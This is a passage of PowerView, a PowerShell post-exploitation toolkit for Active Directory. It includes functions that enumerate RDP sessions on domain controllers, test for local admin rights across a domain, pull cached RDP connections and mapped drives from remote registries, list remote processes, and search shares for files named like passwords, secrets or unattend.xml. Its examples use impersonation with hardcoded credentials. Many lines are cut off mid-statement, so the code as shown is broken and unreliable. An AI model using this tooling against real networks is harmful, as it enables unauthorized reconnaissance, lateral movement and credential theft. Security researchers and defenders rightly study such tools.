Get-DomainController | Get-NetRDPSession
Returns active RDP/terminal sessions on all domain controllers.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.RDPSessionInfo
A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS
with the ComputerName added.
.LINK
https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
#>
[OutputType('PowerView.RDPSessionInfo')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# open up a handle to the Remote Desktop Session host
$Handle = $Wtsapi32::WTSOpenServerEx($Computer)
# if we get a non-zero handle back, everything was successful
if ($Handle -ne 0) {
# arguments for WTSEnumerateSessionsEx
$ppSessionInfo = [IntPtr]::Zero
$pCount = 0
# get information on all current sessions
$Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [re
# locate the offset of the initial intPtr
$Offset = $ppSessionInfo.ToInt64()
if (($Result -ne 0) -and ($Offset -gt 0)) {
# work out how much to increment the pointer by finding out the size of the structure
$Increment = $WTS_SESSION_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $pCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $WTS_SESSION_INFO_1
$RDPSession = New-Object PSObject
if ($Info.pHostName) {
$RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
}
else {
# if no hostname returned, use the specified hostname
$RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
}
$RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
# if a domain isn't returned just use the username
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
}
else {
$RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($In
}
$RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
$RDPSession | Add-Member Noteproperty 'State' $Info.State
$ppBuffer = [IntPtr]::Zero
$pBytesReturned = 0
# query for the source client IP with WTSQuerySessionInformation
# https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
$Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [re
if ($Result2 -eq 0) {
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $
}
else {
$Offset2 = $ppBuffer.ToInt64()
$NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
$Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
$SourceIP = $Info2.Address
if ($SourceIP[2] -ne 0) {
$SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+
}
else {
$SourceIP = $Null
}
$RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
$RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
$RDPSession
# free up the memory buffer
$Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
$Offset += $Increment
}
}
# free up the memory result buffer
$Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
}
else {
Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastE
}
# close off the service handle
$Null = $Wtsapi32::WTSCloseServer($Handle)
}
else {
Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD S
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Test-AdminAccess {
<#
.SYNOPSIS
Tests if the current user has administrative access to the local (or a remote) machine.
Idea stolen from the local_admin_search_enum post module in Metasploit written by:
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will use the OpenSCManagerW Win32API call to establish
a handle to the remote host. If this succeeds, the current user context
has local administrator acess to the target.
.PARAMETER ComputerName
Specifies the hostname to check for local admin access (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Test-AdminAccess -ComputerName sqlserver
Returns results indicating whether the current user has admin access to the 'sqlserver' host.
.EXAMPLE
Get-DomainComputer | Test-AdminAccess
Returns what machines in the domain the current user has access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Test-AdminAccess -ComputerName sqlserver -Credential $Cred
.OUTPUTS
PowerView.AdminAccess
A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
the current user has local admin rights, along with the ComputerName added.
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-
#>
[OutputType('PowerView.AdminAccess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
$Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastErro
$IsAdmin = New-Object PSObject
$IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
# if we get a non-zero handle back, everything was successful
if ($Handle -ne 0) {
$Null = $Advapi32::CloseServiceHandle($Handle)
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
}
else {
Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError
$IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
}
$IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
$IsAdmin
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-NetComputerSiteName {
<#
.SYNOPSIS
Returns the AD site where the local (or a remote) machine resides.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
.DESCRIPTION
This function will use the DsGetSiteName Win32API call to look up the
name of the site where a specified computer resides.
.PARAMETER ComputerName
Specifies the hostname to check the site for (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system using Invoke-UserImpersonation.
.EXAMPLE
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
Returns the site for WINDOWS1.testlab.local.
.EXAMPLE
Get-DomainComputer | Get-NetComputerSiteName
Returns the sites for every machine in AD.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
.OUTPUTS
PowerView.ComputerSite
A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
#>
[OutputType('PowerView.ComputerSite')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
# if we get an IP address, try to resolve the IP to a hostname
if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
$IPAddress = $Computer
$Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProp
}
else {
$IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
}
$PtrInfo = [IntPtr]::Zero
$Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
$ComputerSite = New-Object PSObject
$ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
$ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
if ($Result -eq 0) {
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $R
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
$ComputerSite
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-WMIRegProxy {
<#
.SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
.PARAMETER ComputerName
Specifies the system to enumerate proxy settings on. Defaults to the local host.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegProxy
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
WINDOWS1 http://primary.test...
.EXAMPLE
$Cred = Get-Credential "TESTLAB\administrator"
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
windows1.testlab.local primary.testlab.local
.INPUTS
String
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
.OUTPUTS
PowerView.ProxySettings
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD content
#>
[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
$RegProvider = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
# HKEY_CURRENT_USER
$HKCU = 2147483649
$ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
$AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
$Wpad = ''
if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
try {
$Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
}
catch {
Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigU
}
}
if ($ProxyServer -or $AutoConfigUrl) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ComputerName' $Computer
$Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
$Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
$Out | Add-Member Noteproperty 'Wpad' $Wpad
$Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
$Out
}
else {
Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
}
}
catch {
Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $
}
}
}
}
function Get-WMIRegLastLoggedOn {
<#
.SYNOPSIS
Returns the last user who logged onto the local (or a remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegLastLoggedOn
Returns the last user logged onto the local machine.
.EXAMPLE
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
.EXAMPLE
Get-DomainComputer | Get-WMIRegLastLoggedOn
Returns the last user logged onto all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.LastLoggedOnUser
A PSCustomObject containing the ComputerName and last loggedon user.
#>
[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_LOCAL_MACHINE
$HKLM = 2147483650
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
# try to open up the remote registry key to grab the last logged on user
try {
$Reg = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
$LastLoggedOn = New-Object PSObject
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning "[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. R
}
}
}
}
function Get-WMIRegCachedRDPConnection {
<#
.SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to query all entries for the
"Windows Remote Desktop Connection Client" on a machine, separated by
user and target server.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegCachedRDPConnection
Returns the RDP connection client information for the local machine.
.EXAMPLE
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegCachedRDPConnection
Returns cached RDP information for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.CachedRDPConnection
A PSCustomObject containing the ComputerName and cached RDP information.
#>
[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
# pull out all the cached RDP connections
$ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal S
ForEach ($Connection in $ConnectionKeys) {
# make sure this key is a cached connection
if ($Connection -match 'MRU.*') {
$TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Termi
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConne
$FoundConnection
}
}
# pull out all the cached server info with username hints
$ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server C
ForEach ($Server in $ServerKeys) {
$UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Termin
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnecti
$FoundConnection
}
}
catch {
Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_"
}
}
}
catch {
Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insu
}
}
}
}
function Get-WMIRegMountedDrive {
<#
.SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.
.PARAMETER ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegMountedDrive
Returns the saved network mounted drives for the local machine.
.EXAMPLE
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegMountedDrive
Returns the saved network mounted drives for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.RegMountedDrive
A PSCustomObject containing the ComputerName and mounted drive information.
#>
[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
$DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
ForEach ($DriveLetter in $DriveLetters) {
$ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'Pro
$RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'Rem
$DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'U
if (-not $UserName) { $UserName = '' }
if ($RemotePath -and ($RemotePath -ne '')) {
$MountedDrive = New-Object PSObject
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
$MountedDrive
}
}
}
catch {
Write-Verbose "[Get-WMIRegMountedDrive] Error: $_"
}
}
}
catch {
Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient pe
}
}
}
}
function Get-WMIProcess {
<#
.SYNOPSIS
Returns a list of processes and their owners on the local or remote machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
including the owners of the particular process.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-WMIProcess -ComputerName WINDOWS1
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.UserProcess
A PSCustomObject containing the remote process information.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'ComputerName' = $ComputerName
'Class' = 'Win32_process'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
Get-WMIobject @WmiArguments | ForEach-Object {
$Owner = $_.getowner();
$Process = New-Object PSObject
$Process | Add-Member Noteproperty 'ComputerName' $Computer
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
$Process | Add-Member Noteproperty 'User' $Owner.User
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
$Process
}
}
catch {
Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', acce
}
}
}
}
function Find-InterestingFile {
<#
.SYNOPSIS
Searches for files on the given path that match a series of specified criteria.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). By default, hidden files/folders are included
in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
is used to temporarily map the remote share.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path "C:\Backup\"
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*cre
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
